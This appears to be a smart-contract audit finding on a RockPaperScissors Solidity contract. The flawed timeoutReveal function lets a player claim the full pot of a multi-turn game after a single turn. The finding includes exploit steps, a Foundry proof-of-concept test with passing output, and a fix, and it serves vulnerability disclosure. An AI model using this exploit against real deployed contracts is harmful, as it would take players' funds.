Summary
The `timeoutReveal` function in `RockPaperScissors.sol` contains a logic error that allows a player to win a multi-turn game unfairly after a single turn if the opponent commits a move but fails to reveal it before the reveal deadline. It fails to validate that all turns have been completed, enabling a player to claim the entire pot (ETH or tokens) prematurely without completing the best-of-N game..
Vulnerability Details
The `timeoutReveal` function (lines 262–285) in `RockPaperScissors.sol` handles cases where a player fails to reveal their move after committing. It verifies:
function timeoutReveal(uint256 _gameId) external {
Game storage game = games[_gameId];
require(msg.sender == game.playerA || msg.sender == game.playerB, "Not a player in this game");
require(game.state == GameState.Committed, "Game not in reveal phase");
require(block.timestamp > game.revealDeadline, "Reveal phase not timed out yet");
bool playerARevealed = game.moveA != Move.None;
bool playerBRevealed = game.moveB != Move.None;
if (msg.sender == game.playerA && playerARevealed && !playerBRevealed) {
_finishGame(_gameId, game.playerA);
} else if (msg.sender == game.playerB && playerBRevealed && !playerARevealed) {
_finishGame(_gameId, game.playerB);
} else if (!playerARevealed && !playerBRevealed) {
_cancelGame(_gameId);
} else {
revert("Invalid timeout claim");
}
}
- The caller is a player (`playerA` or `playerB`).
- The game is in `GameState.Committed`.
- The reveal deadline has passed (`block.timestamp > game.revealDeadline`).
- The caller has revealed their move (`moveA != Move.None` or `moveB != Move.None`) and the opponent has not.
If these conditions are met, the caller wins the entire game via `_finishGame`, receiving the full pot (minus fees for ETH games) and a Winner Token. However, the function does not check if all turns have been completed (`game.currentTurn == game.totalTurns`). This allows a malicious player to:
1. Create a game and have the opponent join.
2. Both players commit moves in the first turn, setting the `revealDeadline`.
3. The malicious player reveals their move, but the opponent does not.
4. After the `revealDeadline`, the malicious player calls `timeoutReveal` to win the entire pot (0.18 ETH for a 0.2 ETH total bet or 2 tokens in token games) plus a Winner Token, even if only one turn was played in a multi-turn game (e.g., best-of-3).
This violates the best-of-N game structure, as the game ends prematurely without completing all turns, undermining the intended competitive fairness.
Audit Function canTimeoutReveal:
function canTimeoutReveal(uint256 _gameId) external view returns (bool canTimeout, address winnerIfTimeout) {
Game storage game = games[_gameId];
if (game.state != GameState.Committed || block.timestamp <= game.revealDeadline) {
return (false, address(0));
}
bool playerARevealed = game.moveA != Move.None;
bool playerBRevealed = game.moveB != Move.None;
if (playerARevealed && !playerBRevealed) {
return (true, game.playerA);
} else if (!playerARevealed && playerBRevealed) {
return (true, game.playerB);
} else if (!playerARevealed && !playerBRevealed) {
return (true, address(0));
}
return (false, address(0));
}
Impact
A malicious player can exploit the `timeoutReveal` function to win a multi-turn game after a single turn if the opponent commits a move but fails to reveal it, claiming the entire pot (e.g., 0.18 ETH for a 0.2 ETH total bet or 2 tokens in token games) plus a Winner Token without completing the best-of-N game. This results in the opponent losing their bet (0.1 ETH or 1 token) without a fair chance to compete through all turns. While a timeout win could be intentional in a single-turn game, the contract’s multi-turn structure expects the winner to be determined by the most turn wins, making this premature end a logic error. The exploit is easy to execute, requiring only that the opponent commits but delays revealing (e.g., due to network issues or unawareness), a realistic scenario in decentralized applications. This high-severity vulnerability undermines the game’s competitive integrity, as it allows disproportionate financial gains for minimal effort, directly impacting players’ funds and trust in the contract.
Recommendations
Add a check in timeoutReveal to ensure all turns have been completed before allowing a timeout win, preserving the best-of-N game structure. Modified function:
function timeoutReveal(uint256 _gameId) external {
Game storage game = games[_gameId];
require(msg.sender == game.playerA || msg.sender == game.playerB, "Not a player in this game");
require(game.state == GameState.Committed, "Game not in reveal phase");
require(block.timestamp > game.revealDeadline, "Reveal phase not timed out yet");
require(game.currentTurn == game.totalTurns, "All turns must be completed");
bool playerARevealed = game.moveA != Move.None;
bool playerBRevealed = game.moveB != Move.None;
if (msg.sender == game.playerA && playerARevealed && !playerBRevealed) {
_finishGame(_gameId, game.playerA);
} else if (msg.sender == game.playerB && playerBRevealed && !playerARevealed) {
_finishGame(_gameId, game.playerB);
} else if (!playerARevealed && !playerBRevealed) {
_cancelGame(_gameId);
} else {
revert("Invalid timeout claim");
}
}
POC:
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "../src/RockPaperScissors.sol";
import "../src/WinningToken.sol";
contract TimeoutRevealExploitTest is Test {
RockPaperScissors public game;
WinningToken public token;
address public playerA = address(0x1);
address public playerB = address(0x2);
uint256 constant BET_AMOUNT = 0.1 ether;
uint256 constant TIMEOUT = 10 minutes;
uint256 constant TOTAL_TURNS = 3;
function setUp() public {
vm.deal(playerA, 10 ether);
vm.deal(playerB, 10 ether);
game = new RockPaperScissors();
token = WinningToken(game.winningToken());
}
function testTimeoutRevealExploit() public {
vm.prank(playerA);
uint256 gameId = game.createGameWithEth{value: BET_AMOUNT}(TOTAL_TURNS, TIMEOUT);
vm.prank(playerB);
game.joinGameWithEth{value: BET_AMOUNT}(gameId);
bytes32 saltA = keccak256(abi.encodePacked("saltA"));
bytes32 commitA = keccak256(abi.encodePacked(uint8(RockPaperScissors.Move.Rock), saltA));
vm.prank(playerA);
game.commitMove(gameId, commitA);
bytes32 saltB = keccak256(abi.encodePacked("saltB"));
bytes32 commitB = keccak256(abi.encodePacked(uint8(RockPaperScissors.Move.Paper), saltB));
vm.prank(playerB);
game.commitMove(gameId, commitB);
vm.prank(playerA);
game.revealMove(gameId, uint8(RockPaperScissors.Move.Rock), saltA);
vm.warp(block.timestamp + TIMEOUT + 1);
uint256 playerABalanceBefore = playerA.balance;
vm.prank(playerA);
game.timeoutReveal(gameId);
(, , , , , , , , , , , , , , , RockPaperScissors.GameState state) = game.games(gameId);
assertEq(uint256(state), uint256(RockPaperScissors.GameState.Finished), "Game should be finished");
uint256 expectedPrize = (BET_AMOUNT * 2) * 90 / 100;
assertEq(playerA.balance - playerABalanceBefore, expectedPrize, "Player A should receive the prize");
assertEq(token.balanceOf(playerA), 1, "Player A should receive 1 Winner Token");
}
}
➜ exploit git:(master) ✗ forge test --match-path test/TimeoutRevealExploitTest.t.sol
[⠒] Compiling...
[⠢] Compiling 1 files with Solc 0.8.20
[⠆] Solc 0.8.20 finished in 14.64s
Compiler run successful!
Ran 1 test for test/TimeoutRevealExploitTest.t.sol:TimeoutRevealExploitTest
[PASS] testTimeoutRevealExploit() (gas: 438165)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.42ms (190.35µs CPU time)
Ran 1 test suite in 11.08ms (1.42ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)